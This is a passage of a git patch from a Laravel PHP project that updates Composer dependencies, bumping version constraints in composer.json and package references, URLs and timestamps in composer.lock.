"5.0.0", + "hash": "tree-v2:dc02c4b2cc26efffc26b74e5bc0e489a4ac3ce831fff0f06c939fef5b8285fc3" + }, + "sebastian/recursion-context": { + "version": "7.0.1", + "hash": "tree-v2:c2713c083e6e14599b6a68f986d969692458ff45a1aedf5a6bd994699c6cc72d" + }, + "sebastian/type": { + "version": "6.0.4", + "hash": "tree-v2:c18e590b1fad7140ccc8dc16086635356728f15f0eb1abfb4d3d79b243947a35" + }, + "sebastian/version": { + "version": "6.0.0", + "hash": "tree-v2:b900b2263d6a49e35e6c9adf9d477f927d769f6a019ae4532a6867b44506f456" + }, + "serversideup/spin": { + "version": "v3.3.0", + "hash": "tree-v2:bba2bd0cc9b72ae27db7fb4cded0b8b9959fe39d2528f733e4d6f12264f9e279" + }, + "staabm/side-effects-detector": { + "version": "1.0.5", + "hash": "tree-v2:26d964435c381c94abd5dbadf497d7888b5a811f0693b66aa7976a3d01c545ba" + }, + "symfony/http-client": { + "version": "v7.4.16", + "hash": "tree-v2:d316de62dd4763550b258ab71fd021a58c42743e8e9f2e79d0f54f944fedbb6b" + }, + "symfony/http-client-contracts": { + "version": "v3.7.1", + "hash": "tree-v2:6b3703eade4cde3e59fae53198d32bd786fb63786980c71b2049b29afbc971f0" + }, + "ta-tikoma/phpunit-architecture-test": { + "version": "0.8.7", + "hash": "tree-v2:068328d7bed81666d79d94c08e5b634b6c2f1499e8ebadf1068b4d7f19545243" + }, + "theseer/tokenizer": { + "version": "2.0.1", + "hash": "tree-v2:41aaedd9e64befbc0fecc9ff7ea3ea811daa1088ea055614faa0aeef41f8744f" + } + }, + "minimum-release-age": 3 +} From a30b0ee721c28557dc604930f0f1476f55091df4 Mon Sep 17 00:00:00 2001 From: peaklabs-dev <122374094+peaklabs-dev@users.noreply.github.com> Date: Fri, 2 Oct 2026 23:45:58 +0200 Subject: [PATCH 06/24] chore(deps): update composer dependencies --- composer.json | 50 +- composer.lock | 1370 ++++++++++++++++++++++++++++--------------------- vet.json | 348 +++++++------ 3 files changed, 999 insertions(+), 769 deletions(-) diff --git a/composer.json b/composer.json index 1a30a22542..222e4ed045 100644 --- a/composer.json +++ b/composer.json @@ -12,41 +12,41 @@ ], "require": { "php": "^8.4", - "danharrin/livewire-rate-limiting": "^2.2.1", - "doctrine/dbal": "^4.4.4", - "firebase/php-jwt": "^7.1.0", - "guzzlehttp/guzzle": "^7.15.3", - "laravel/fortify": "^1.37.3", + "danharrin/livewire-rate-limiting": "^2.3.0", + "doctrine/dbal": "^4.5.0", + "firebase/php-jwt": "^7.2.1", + "guzzlehttp/guzzle": "^7.15.5", + "laravel/fortify": "^1.40.0", "laravel/framework": "^12.69.3", - "laravel/horizon": "^5.48.2", + "laravel/horizon": "^5.50.0", "laravel/mcp": "^1.0.1", "laravel/pail": "^1.2.7", - "laravel/prompts": "^0.3.22", - "laravel/reverb": "^1.11.1", + "laravel/prompts": "^0.3.24", + "laravel/reverb": "^1.12.0", "laravel/sanctum": "^4.3.3", - "laravel/socialite": "^5.29.0", + "laravel/socialite": "^5.30.0", "laravel/tinker": "^2.11.1", "laravel/ui": "^4.6.3", "lcobucci/jwt": "^5.6.0", - "league/flysystem-aws-s3-v3": "^3.35.2", - "league/flysystem-sftp-v3": "^3.33.0", - "livewire/livewire": "^3.8.7", + "league/flysystem-aws-s3-v3": "^3.35.3", + "league/flysystem-sftp-v3": "^3.36.0", + "livewire/livewire": "^3.8.10", "log1x/laravel-webfonts": "^2.0.1", - "lorisleiva/laravel-actions": "^2.10.2", + "lorisleiva/laravel-actions": "^2.12.0", "nubs/random-name-generator": "^2.2.0", "phpseclib/phpseclib": "^3.0.57", "pion/laravel-chunk-upload": "^1.6.3", "poliander/cron": "^3.3.1", - "purplepixie/phpdns": "^2.3.6", + "purplepixie/phpdns": "^2.4.0", "pusher/pusher-php-server": "^7.3.0", - "resend/resend-laravel": "^1.5.0", - "sentry/sentry-laravel": "^4.27.0", + "resend/resend-laravel": "^1.6.0", + "sentry/sentry-laravel": "^4.28.0", "socialiteproviders/authentik": "^5.3.0", "socialiteproviders/clerk": "^5.1.0", "socialiteproviders/discord": "^4.2.0", "socialiteproviders/google": "^4.1.0", "socialiteproviders/infomaniak": "^4.0.0", - "socialiteproviders/microsoft-azure": "^5.2.0", + "socialiteproviders/microsoft-azure": "^5.2.1", "socialiteproviders/zitadel": "^4.2.0", "spatie/laravel-activitylog": "^4.12.3", "spatie/laravel-data": "^4.23.0", @@ -55,25 +55,25 @@ "spatie/url": "^2.4.0", "stevebauman/purify": "^6.3.2", "stripe/stripe-php": "^16.6.0", - "symfony/yaml": "^7.4.15", + "symfony/yaml": "^7.4.20", "visus/cuid2": "^6.0.0", "yosymfony/toml": "^1.0.4", "zircote/swagger-php": "^5.8.3" }, "require-dev": { - "driftingly/rector-laravel": "^2.5.0", + "driftingly/rector-laravel": "^2.6.2", "fakerphp/faker": "^1.24.1", "laravel/boost": "^2.10.0", - "laravel/pint": "^1.30.4", + "laravel/pint": "^1.32.1", "laravel/vet": "^0.2.1", - "mockery/mockery": "^1.6.12", + "mockery/mockery": "^1.6.15", "nunomaduro/collision": "^8.9.5", "pestphp/pest": "^4.7.8", "pestphp/pest-plugin-browser": "^4.3.1", - "phpstan/phpstan": "^2.2.8", - "rector/rector": "^2.6.1", - "serversideup/spin": "^3.3.0", - "symfony/http-client": "^7.4.16" + "phpstan/phpstan": "^2.2.16", + "rector/rector": "^2.6.7", + "serversideup/spin": "^3.5.2", + "symfony/http-client": "^7.4.20" }, "minimum-stability": "stable", "prefer-stable": true, diff --git a/composer.lock b/composer.lock index 4445433131..7df96507d0 100644 --- a/composer.lock +++ b/composer.lock @@ -4,7 +4,7 @@ "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], - "content-hash": "657807c3680ec0ee72d6d70446605d39", + "content-hash": "6aa67566da21c08f267067cdbad6d18b", "packages": [ { "name": "aws/aws-crt-php", @@ -62,16 +62,16 @@ }, { "name": "aws/aws-sdk-php", - "version": "3.391.1", + "version": "3.398.4", "source": { "type": "git", "url": "https://github.com/aws/aws-sdk-php.git", - "reference": "90920ce5518aa864e04da0224bb0ba0ee9e31d7f" + "reference": "1dc5a7813aa23b65de0bfb6239b93387971f7143" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/aws/aws-sdk-php/zipball/90920ce5518aa864e04da0224bb0ba0ee9e31d7f", - "reference": "90920ce5518aa864e04da0224bb0ba0ee9e31d7f", + "url": "https://api.github.com/repos/aws/aws-sdk-php/zipball/1dc5a7813aa23b65de0bfb6239b93387971f7143", + "reference": "1dc5a7813aa23b65de0bfb6239b93387971f7143", "shasum": "" }, "require": { @@ -153,9 +153,9 @@ "support": { "forum": "https://github.com/aws/aws-sdk-php/discussions", "issues": "https://github.com/aws/aws-sdk-php/issues", - "source": "https://github.com/aws/aws-sdk-php/tree/3.391.1" + "source": "https://github.com/aws/aws-sdk-php/tree/3.398.4" }, - "time": "2026-08-07T20:18:18+00:00" + "time": "2026-09-30T18:20:49+00:00" }, { "name": "bacon/bacon-qr-code", @@ -274,16 +274,16 @@ }, { "name": "carbonphp/carbon-doctrine-types", - "version": "3.2.0", + "version": "3.2.1", "source": { "type": "git", "url": "https://github.com/CarbonPHP/carbon-doctrine-types.git", - "reference": "18ba5ddfec8976260ead6e866180bd5d2f71aa1d" + "reference": "5fa5eacafd9ef47c8c6ab9143fc901ba0194d3dc" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/CarbonPHP/carbon-doctrine-types/zipball/18ba5ddfec8976260ead6e866180bd5d2f71aa1d", - "reference": "18ba5ddfec8976260ead6e866180bd5d2f71aa1d", + "url": "https://api.github.com/repos/CarbonPHP/carbon-doctrine-types/zipball/5fa5eacafd9ef47c8c6ab9143fc901ba0194d3dc", + "reference": "5fa5eacafd9ef47c8c6ab9143fc901ba0194d3dc", "shasum": "" }, "require": { @@ -298,6 +298,11 @@ "phpunit/phpunit": "^10.3" }, "type": "library", + "extra": { + "branch-alias": { + "dev-main": "3.x-dev" + } + }, "autoload": { "psr-4": { "Carbon\\Doctrine\\": "src/Carbon/Doctrine/" @@ -323,7 +328,7 @@ ], "support": { "issues": "https://github.com/CarbonPHP/carbon-doctrine-types/issues", - "source": "https://github.com/CarbonPHP/carbon-doctrine-types/tree/3.2.0" + "source": "https://github.com/CarbonPHP/carbon-doctrine-types/tree/3.2.1" }, "funding": [ { @@ -339,7 +344,7 @@ "type": "tidelift" } ], - "time": "2024-02-09T16:56:22+00:00" + "time": "2026-09-06T14:11:38+00:00" }, { "name": "clue/redis-protocol", @@ -473,16 +478,16 @@ }, { "name": "danharrin/livewire-rate-limiting", - "version": "v2.2.1", + "version": "v2.3.0", "source": { "type": "git", "url": "https://github.com/danharrin/livewire-rate-limiting.git", - "reference": "69436717dc70e30f80d7f8fd02504c22992a9ad5" + "reference": "46c4ceaf7997c713c79afe7c507a39649f6c9d6f" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/danharrin/livewire-rate-limiting/zipball/69436717dc70e30f80d7f8fd02504c22992a9ad5", - "reference": "69436717dc70e30f80d7f8fd02504c22992a9ad5", + "url": "https://api.github.com/repos/danharrin/livewire-rate-limiting/zipball/46c4ceaf7997c713c79afe7c507a39649f6c9d6f", + "reference": "46c4ceaf7997c713c79afe7c507a39649f6c9d6f", "shasum": "" }, "require": { @@ -523,7 +528,7 @@ "type": "github" } ], - "time": "2026-08-06T08:41:51+00:00" + "time": "2026-09-18T07:38:01+00:00" }, { "name": "dasprid/enum", @@ -652,16 +657,16 @@ }, { "name": "doctrine/dbal", - "version": "4.4.4", + "version": "4.5.0", "source": { "type": "git", "url": "https://github.com/doctrine/dbal.git", - "reference": "fb9e0ffe15e1590e24dc61c0c0a23f9a33ee42ce" + "reference": "c435cd7ea33e17d2a89288caf994cf3d4549b879" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/doctrine/dbal/zipball/fb9e0ffe15e1590e24dc61c0c0a23f9a33ee42ce", - "reference": "fb9e0ffe15e1590e24dc61c0c0a23f9a33ee42ce", + "url": "https://api.github.com/repos/doctrine/dbal/zipball/c435cd7ea33e17d2a89288caf994cf3d4549b879", + "reference": "c435cd7ea33e17d2a89288caf994cf3d4549b879", "shasum": "" }, "require": { @@ -677,9 +682,9 @@ "phpstan/phpstan": "2.1.30", "phpstan/phpstan-phpunit": "2.0.7", "phpstan/phpstan-strict-rules": "^2", - "phpunit/phpunit": "11.5.50", - "slevomat/coding-standard": "8.27.1", - "squizlabs/php_codesniffer": "4.0.1", + "phpunit/phpunit": "11.5.56", + "slevomat/coding-standard": "8.31.1", + "squizlabs/php_codesniffer": "4.0.4", "symfony/cache": "^6.3.8|^7.0|^8.0", "symfony/console": "^5.4|^6.3|^7.0|^8.0" }, @@ -738,7 +743,7 @@ ], "support": { "issues": "https://github.com/doctrine/dbal/issues", - "source": "https://github.com/doctrine/dbal/tree/4.4.4" + "source": "https://github.com/doctrine/dbal/tree/4.5.0" }, "funding": [ { @@ -754,7 +759,7 @@ "type": "tidelift" } ], - "time": "2026-07-21T14:34:40+00:00" + "time": "2026-09-24T16:11:26+00:00" }, { "name": "doctrine/deprecations", @@ -1149,16 +1154,16 @@ }, { "name": "ezyang/htmlpurifier", - "version": "v4.19.0", + "version": "v4.19.1", "source": { "type": "git", "url": "https://github.com/ezyang/htmlpurifier.git", - "reference": "b287d2a16aceffbf6e0295559b39662612b77fcf" + "reference": "5e0539132d934f936fbae2c88b55d58f9438623f" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/ezyang/htmlpurifier/zipball/b287d2a16aceffbf6e0295559b39662612b77fcf", - "reference": "b287d2a16aceffbf6e0295559b39662612b77fcf", + "url": "https://api.github.com/repos/ezyang/htmlpurifier/zipball/5e0539132d934f936fbae2c88b55d58f9438623f", + "reference": "5e0539132d934f936fbae2c88b55d58f9438623f", "shasum": "" }, "require": { @@ -1204,32 +1209,32 @@ ], "support": { "issues": "https://github.com/ezyang/htmlpurifier/issues", - "source": "https://github.com/ezyang/htmlpurifier/tree/v4.19.0" + "source": "https://github.com/ezyang/htmlpurifier/tree/v4.19.1" }, - "time": "2025-10-17T16:34:55+00:00" + "time": "2026-09-15T15:42:51+00:00" }, { "name": "firebase/php-jwt", - "version": "v7.1.0", + "version": "v7.2.1", "source": { "type": "git", "url": "https://github.com/googleapis/php-jwt.git", - "reference": "b374a5d1a4f1f67fadc2165cdb284645945e2fc0" + "reference": "0501f5729b9e2448516674aff07c7d1727869b8e" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/googleapis/php-jwt/zipball/b374a5d1a4f1f67fadc2165cdb284645945e2fc0", - "reference": "b374a5d1a4f1f67fadc2165cdb284645945e2fc0", + "url": "https://api.github.com/repos/googleapis/php-jwt/zipball/0501f5729b9e2448516674aff07c7d1727869b8e", + "reference": "0501f5729b9e2448516674aff07c7d1727869b8e", "shasum": "" }, "require": { "php": "^8.0" }, "require-dev": { - "guzzlehttp/guzzle": "^7.4", + "guzzlehttp/guzzle": "^7.4||^8.0", "phpfastcache/phpfastcache": "^9.2", "phpseclib/phpseclib": "~3.0", - "phpspec/prophecy-phpunit": "^2.0", + "phpspec/prophecy-phpunit": "^2.2", "phpunit/phpunit": "^9.5", "psr/cache": "^2.0||^3.0", "psr/http-client": "^1.0", @@ -1241,6 +1246,14 @@ "phpseclib/phpseclib": "Support PS256 (RSASSA-PSS) signatures" }, "type": "library", + "extra": { + "component": { + "id": "jwt", + "path": "Jwt", + "entry": "README.md", + "target": "googleapis/php-jwt.git" + } + }, "autoload": { "psr-4": { "Firebase\\JWT\\": "src" @@ -1270,9 +1283,9 @@ ], "support": { "issues": "https://github.com/googleapis/php-jwt/issues", - "source": "https://github.com/googleapis/php-jwt/tree/v7.1.0" + "source": "https://github.com/googleapis/php-jwt/tree/v7.2.1" }, - "time": "2026-06-11T17:54:14+00:00" + "time": "2026-09-28T17:51:46+00:00" }, { "name": "fruitcake/php-cors", @@ -1347,24 +1360,24 @@ }, { "name": "graham-campbell/result-type", - "version": "v1.1.4", + "version": "v1.2.0", "source": { "type": "git", "url": "https://github.com/GrahamCampbell/Result-Type.git", - "reference": "e01f4a821471308ba86aa202fed6698b6b695e3b" + "reference": "adccca3324eece92ca35463648c12b9e6293c05b" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/GrahamCampbell/Result-Type/zipball/e01f4a821471308ba86aa202fed6698b6b695e3b", - "reference": "e01f4a821471308ba86aa202fed6698b6b695e3b", + "url": "https://api.github.com/repos/GrahamCampbell/Result-Type/zipball/adccca3324eece92ca35463648c12b9e6293c05b", + "reference": "adccca3324eece92ca35463648c12b9e6293c05b", "shasum": "" }, "require": { "php": "^7.2.5 || ^8.0", - "phpoption/phpoption": "^1.9.5" + "phpoption/phpoption": "^1.10" }, "require-dev": { - "phpunit/phpunit": "^8.5.41 || ^9.6.22 || ^10.5.45 || ^11.5.7" + "phpunit/phpunit": "^8.5.52 || ^9.6.34 || ^10.5.63 || ^11.5.55 || ^12.5.14" }, "type": "library", "autoload": { @@ -1393,7 +1406,7 @@ ], "support": { "issues": "https://github.com/GrahamCampbell/Result-Type/issues", - "source": "https://github.com/GrahamCampbell/Result-Type/tree/v1.1.4" + "source": "https://github.com/GrahamCampbell/Result-Type/tree/v1.2.0" }, "funding": [ { @@ -1405,26 +1418,26 @@ "type": "tidelift" } ], - "time": "2025-12-27T19:43:20+00:00" + "time": "2026-08-24T09:06:52+00:00" }, { "name": "guzzlehttp/guzzle", - "version": "7.15.3", + "version": "7.15.5", "source": { "type": "git", "url": "https://github.com/guzzle/guzzle.git", - "reference": "ae311b8f045ea93ce7b1c9cdb7cec06c53f944bc" + "reference": "ee80339fd9177ba44c49cdb653ff02a4d1106b9a" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/guzzle/guzzle/zipball/ae311b8f045ea93ce7b1c9cdb7cec06c53f944bc", - "reference": "ae311b8f045ea93ce7b1c9cdb7cec06c53f944bc", + "url": "https://api.github.com/repos/guzzle/guzzle/zipball/ee80339fd9177ba44c49cdb653ff02a4d1106b9a", + "reference": "ee80339fd9177ba44c49cdb653ff02a4d1106b9a", "shasum": "" }, "require": { "ext-json": "*", - "guzzlehttp/promises": "^2.5.2", - "guzzlehttp/psr7": "^2.13", + "guzzlehttp/promises": "^2.5.3", + "guzzlehttp/psr7": "^2.13.1", "php": "^7.2.5 || ^8.0", "psr/http-client": "^1.0", "symfony/deprecation-contracts": "^2.5 || ^3.0", @@ -1517,7 +1530,7 @@ ], "support": { "issues": "https://github.com/guzzle/guzzle/issues", - "source": "https://github.com/guzzle/guzzle/tree/7.15.3" + "source": "https://github.com/guzzle/guzzle/tree/7.15.5" }, "funding": [ { @@ -1533,20 +1546,20 @@ "type": "tidelift" } ], - "time": "2026-08-05T19:48:21+00:00" + "time": "2026-08-24T09:21:06+00:00" }, { "name": "guzzlehttp/promises", - "version": "2.5.2", + "version": "2.5.3", "source": { "type": "git", "url": "https://github.com/guzzle/promises.git", - "reference": "2823687acff28b2dbe67b2508a6b300e2c3fa4ce" + "reference": "cde49999552d185d64715fe9c1f77a2aadd2f9f1" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/guzzle/promises/zipball/2823687acff28b2dbe67b2508a6b300e2c3fa4ce", - "reference": "2823687acff28b2dbe67b2508a6b300e2c3fa4ce", + "url": "https://api.github.com/repos/guzzle/promises/zipball/cde49999552d185d64715fe9c1f77a2aadd2f9f1", + "reference": "cde49999552d185d64715fe9c1f77a2aadd2f9f1", "shasum": "" }, "require": { @@ -1601,7 +1614,7 @@ ], "support": { "issues": "https://github.com/guzzle/promises/issues", - "source": "https://github.com/guzzle/promises/tree/2.5.2" + "source": "https://github.com/guzzle/promises/tree/2.5.3" }, "funding": [ { @@ -1617,7 +1630,7 @@ "type": "tidelift" } ], - "time": "2026-08-05T19:30:54+00:00" + "time": "2026-08-24T09:11:28+00:00" }, { "name": "guzzlehttp/psr7", @@ -1740,16 +1753,16 @@ }, { "name": "guzzlehttp/uri-template", - "version": "v1.0.10", + "version": "v1.0.11", "source": { "type": "git", "url": "https://github.com/guzzle/uri-template.git", - "reference": "f6c24c21f42b990e9a58912b332d0874df6ba839" + "reference": "d0058dccf4299d70c3d9da3378b8908b32780368" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/guzzle/uri-template/zipball/f6c24c21f42b990e9a58912b332d0874df6ba839", - "reference": "f6c24c21f42b990e9a58912b332d0874df6ba839", + "url": "https://api.github.com/repos/guzzle/uri-template/zipball/d0058dccf4299d70c3d9da3378b8908b32780368", + "reference": "d0058dccf4299d70c3d9da3378b8908b32780368", "shasum": "" }, "require": { @@ -1806,7 +1819,7 @@ ], "support": { "issues": "https://github.com/guzzle/uri-template/issues", - "source": "https://github.com/guzzle/uri-template/tree/v1.0.10" + "source": "https://github.com/guzzle/uri-template/tree/v1.0.11" }, "funding": [ { @@ -1822,7 +1835,7 @@ "type": "tidelift" } ], - "time": "2026-07-17T13:53:03+00:00" + "time": "2026-08-24T09:15:32+00:00" }, { "name": "jean85/pretty-package-versions", @@ -1886,16 +1899,16 @@ }, { "name": "laravel/fortify", - "version": "v1.37.3", + "version": "v1.40.0", "source": { "type": "git", "url": "https://github.com/laravel/fortify.git", - "reference": "66b9503330e7c18b3edebb9c3b4087037826573b" + "reference": "fe0fce8814660317df0684f2c7be3b573def67d3" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/fortify/zipball/66b9503330e7c18b3edebb9c3b4087037826573b", - "reference": "66b9503330e7c18b3edebb9c3b4087037826573b", + "url": "https://api.github.com/repos/laravel/fortify/zipball/fe0fce8814660317df0684f2c7be3b573def67d3", + "reference": "fe0fce8814660317df0684f2c7be3b573def67d3", "shasum": "" }, "require": { @@ -1909,7 +1922,7 @@ }, "require-dev": { "orchestra/testbench": "^9.15|^10.8|^11.0", - "phpstan/phpstan": "^1.10" + "phpstan/phpstan": "^2.2.6" }, "type": "library", "extra": { @@ -1946,7 +1959,7 @@ "issues": "https://github.com/laravel/fortify/issues", "source": "https://github.com/laravel/fortify" }, - "time": "2026-06-29T16:22:02+00:00" + "time": "2026-09-10T11:52:08+00:00" }, { "name": "laravel/framework", @@ -2172,16 +2185,16 @@ }, { "name": "laravel/horizon", - "version": "v5.48.2", + "version": "v5.50.0", "source": { "type": "git", "url": "https://github.com/laravel/horizon.git", - "reference": "2ebe3cb25ab6461b53a4e3ef42e167edeafe7932" + "reference": "009177cc3d0829c839c8ab573dd17d158fc0b71e" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/horizon/zipball/2ebe3cb25ab6461b53a4e3ef42e167edeafe7932", - "reference": "2ebe3cb25ab6461b53a4e3ef42e167edeafe7932", + "url": "https://api.github.com/repos/laravel/horizon/zipball/009177cc3d0829c839c8ab573dd17d158fc0b71e", + "reference": "009177cc3d0829c839c8ab573dd17d158fc0b71e", "shasum": "" }, "require": { @@ -2246,9 +2259,9 @@ ], "support": { "issues": "https://github.com/laravel/horizon/issues", - "source": "https://github.com/laravel/horizon/tree/v5.48.2" + "source": "https://github.com/laravel/horizon/tree/v5.50.0" }, - "time": "2026-07-27T13:13:49+00:00" + "time": "2026-09-15T13:59:54+00:00" }, { "name": "laravel/mcp", @@ -2474,16 +2487,16 @@ }, { "name": "laravel/prompts", - "version": "v0.3.22", + "version": "v0.3.24", "source": { "type": "git", "url": "https://github.com/laravel/prompts.git", - "reference": "02b89b39e8972a998db4d5d4ad4719239dd4aee4" + "reference": "5d3cdef29e93ca3b62b1871359db3078cd99908b" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/prompts/zipball/02b89b39e8972a998db4d5d4ad4719239dd4aee4", - "reference": "02b89b39e8972a998db4d5d4ad4719239dd4aee4", + "url": "https://api.github.com/repos/laravel/prompts/zipball/5d3cdef29e93ca3b62b1871359db3078cd99908b", + "reference": "5d3cdef29e93ca3b62b1871359db3078cd99908b", "shasum": "" }, "require": { @@ -2527,22 +2540,22 @@ "description": "Add beautiful and user-friendly forms to your command-line applications.", "support": { "issues": "https://github.com/laravel/prompts/issues", - "source": "https://github.com/laravel/prompts/tree/v0.3.22" + "source": "https://github.com/laravel/prompts/tree/v0.3.24" }, - "time": "2026-08-04T14:50:50+00:00" + "time": "2026-08-20T12:55:36+00:00" }, { "name": "laravel/reverb", - "version": "v1.11.1", + "version": "v1.12.0", "source": { "type": "git", "url": "https://github.com/laravel/reverb.git", - "reference": "52ce5fd88cd1d7eacfdcf6b91cea4704cc546f27" + "reference": "e233471f53641a447d3b7a2150446d47a0e8c043" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/reverb/zipball/52ce5fd88cd1d7eacfdcf6b91cea4704cc546f27", - "reference": "52ce5fd88cd1d7eacfdcf6b91cea4704cc546f27", + "url": "https://api.github.com/repos/laravel/reverb/zipball/e233471f53641a447d3b7a2150446d47a0e8c043", + "reference": "e233471f53641a447d3b7a2150446d47a0e8c043", "shasum": "" }, "require": { @@ -2562,6 +2575,7 @@ "symfony/http-foundation": "^6.3|^7.0|^8.0" }, "require-dev": { + "jasonmccreary/double": "~0.10", "orchestra/testbench": "^8.36|^9.15|^10.8|^11.0", "pestphp/pest": "^2.0|^3.0|^4.0", "phpstan/phpstan": "^1.10", @@ -2605,10 +2619,9 @@ "websocket" ], "support": { - "issues": "https://github.com/laravel/reverb/issues", - "source": "https://github.com/laravel/reverb/tree/v1.11.1" + "source": "https://github.com/laravel/reverb/tree/v1.12.0" }, - "time": "2026-08-06T14:48:58+00:00" + "time": "2026-09-22T14:25:47+00:00" }, { "name": "laravel/sanctum", @@ -2731,16 +2744,16 @@ }, { "name": "laravel/serializable-closure", - "version": "v2.0.15", + "version": "v2.1.0", "source": { "type": "git", "url": "https://github.com/laravel/serializable-closure.git", - "reference": "dccd8bcb851bb03fcc005df650b708b57cc52661" + "reference": "2d5869a838bbcf37e0d8b0568fc41914e81374b5" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/serializable-closure/zipball/dccd8bcb851bb03fcc005df650b708b57cc52661", - "reference": "dccd8bcb851bb03fcc005df650b708b57cc52661", + "url": "https://api.github.com/repos/laravel/serializable-closure/zipball/2d5869a838bbcf37e0d8b0568fc41914e81374b5", + "reference": "2d5869a838bbcf37e0d8b0568fc41914e81374b5", "shasum": "" }, "require": { @@ -2788,20 +2801,20 @@ "issues": "https://github.com/laravel/serializable-closure/issues", "source": "https://github.com/laravel/serializable-closure" }, - "time": "2026-07-21T16:49:22+00:00" + "time": "2026-09-22T14:32:34+00:00" }, { "name": "laravel/socialite", - "version": "v5.29.0", + "version": "v5.30.0", "source": { "type": "git", "url": "https://github.com/laravel/socialite.git", - "reference": "cd343a5841f02292af119ee607edc71300c9ae4f" + "reference": "caf714f55d51ab0d914b40033d8b0f489d6219cc" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/socialite/zipball/cd343a5841f02292af119ee607edc71300c9ae4f", - "reference": "cd343a5841f02292af119ee607edc71300c9ae4f", + "url": "https://api.github.com/repos/laravel/socialite/zipball/caf714f55d51ab0d914b40033d8b0f489d6219cc", + "reference": "caf714f55d51ab0d914b40033d8b0f489d6219cc", "shasum": "" }, "require": { @@ -2860,7 +2873,7 @@ "issues": "https://github.com/laravel/socialite/issues", "source": "https://github.com/laravel/socialite" }, - "time": "2026-07-01T13:50:23+00:00" + "time": "2026-08-13T23:01:33+00:00" }, { "name": "laravel/tinker", @@ -3338,16 +3351,16 @@ }, { "name": "league/flysystem-aws-s3-v3", - "version": "3.35.2", + "version": "3.35.3", "source": { "type": "git", "url": "https://github.com/thephpleague/flysystem-aws-s3-v3.git", - "reference": "8475ef9adfc6498b85469e2abec6fe3118cd08c4" + "reference": "b03780cb97585ee7e48977f40ed599b33b751634" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/thephpleague/flysystem-aws-s3-v3/zipball/8475ef9adfc6498b85469e2abec6fe3118cd08c4", - "reference": "8475ef9adfc6498b85469e2abec6fe3118cd08c4", + "url": "https://api.github.com/repos/thephpleague/flysystem-aws-s3-v3/zipball/b03780cb97585ee7e48977f40ed599b33b751634", + "reference": "b03780cb97585ee7e48977f40ed599b33b751634", "shasum": "" }, "require": { @@ -3387,9 +3400,9 @@ "storage" ], "support": { - "source": "https://github.com/thephpleague/flysystem-aws-s3-v3/tree/3.35.2" + "source": "https://github.com/thephpleague/flysystem-aws-s3-v3/tree/3.35.3" }, - "time": "2026-07-01T23:25:49+00:00" + "time": "2026-08-08T16:19:23+00:00" }, { "name": "league/flysystem-local", @@ -3442,16 +3455,16 @@ }, { "name": "league/flysystem-sftp-v3", - "version": "3.33.0", + "version": "3.36.0", "source": { "type": "git", "url": "https://github.com/thephpleague/flysystem-sftp-v3.git", - "reference": "34ff5ef0f841add92e2b902c1005f72135b03646" + "reference": "5004b451cedd3bc4fdf84fcd427b858ec1b66a02" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/thephpleague/flysystem-sftp-v3/zipball/34ff5ef0f841add92e2b902c1005f72135b03646", - "reference": "34ff5ef0f841add92e2b902c1005f72135b03646", + "url": "https://api.github.com/repos/thephpleague/flysystem-sftp-v3/zipball/5004b451cedd3bc4fdf84fcd427b858ec1b66a02", + "reference": "5004b451cedd3bc4fdf84fcd427b858ec1b66a02", "shasum": "" }, "require": { @@ -3485,9 +3498,9 @@ "sftp" ], "support": { - "source": "https://github.com/thephpleague/flysystem-sftp-v3/tree/3.33.0" + "source": "https://github.com/thephpleague/flysystem-sftp-v3/tree/3.36.0" }, - "time": "2026-03-20T13:22:31+00:00" + "time": "2026-09-02T07:49:56+00:00" }, { "name": "league/mime-type-detection", @@ -3547,23 +3560,23 @@ }, { "name": "league/oauth1-client", - "version": "v1.11.0", + "version": "v1.12.0", "source": { "type": "git", "url": "https://github.com/thephpleague/oauth1-client.git", - "reference": "f9c94b088837eb1aae1ad7c4f23eb65cc6993055" + "reference": "aa8fe766f772f9233d6c06f9ef003fd8129e408d" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/thephpleague/oauth1-client/zipball/f9c94b088837eb1aae1ad7c4f23eb65cc6993055", - "reference": "f9c94b088837eb1aae1ad7c4f23eb65cc6993055", + "url": "https://api.github.com/repos/thephpleague/oauth1-client/zipball/aa8fe766f772f9233d6c06f9ef003fd8129e408d", + "reference": "aa8fe766f772f9233d6c06f9ef003fd8129e408d", "shasum": "" }, "require": { "ext-json": "*", "ext-openssl": "*", - "guzzlehttp/guzzle": "^6.0|^7.0", - "guzzlehttp/psr7": "^1.7|^2.0", + "guzzlehttp/guzzle": "^6.5.8||^7.8.2||^8.0", + "guzzlehttp/psr7": "^1.9.1||^2.6.3||^3.0", "php": ">=7.1||>=8.0" }, "require-dev": { @@ -3617,9 +3630,9 @@ ], "support": { "issues": "https://github.com/thephpleague/oauth1-client/issues", - "source": "https://github.com/thephpleague/oauth1-client/tree/v1.11.0" + "source": "https://github.com/thephpleague/oauth1-client/tree/v1.12.0" }, - "time": "2024-12-10T19:59:05+00:00" + "time": "2026-09-19T05:12:51+00:00" }, { "name": "league/uri", @@ -3805,16 +3818,16 @@ }, { "name": "livewire/livewire", - "version": "v3.8.7", + "version": "v3.8.10", "source": { "type": "git", "url": "https://github.com/livewire/livewire.git", - "reference": "ff019f8f6f48b7a2315922e45a70ad8fd75d1934" + "reference": "3adc7ff5d0898876f9848ab155310a296c717c1b" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/livewire/livewire/zipball/ff019f8f6f48b7a2315922e45a70ad8fd75d1934", - "reference": "ff019f8f6f48b7a2315922e45a70ad8fd75d1934", + "url": 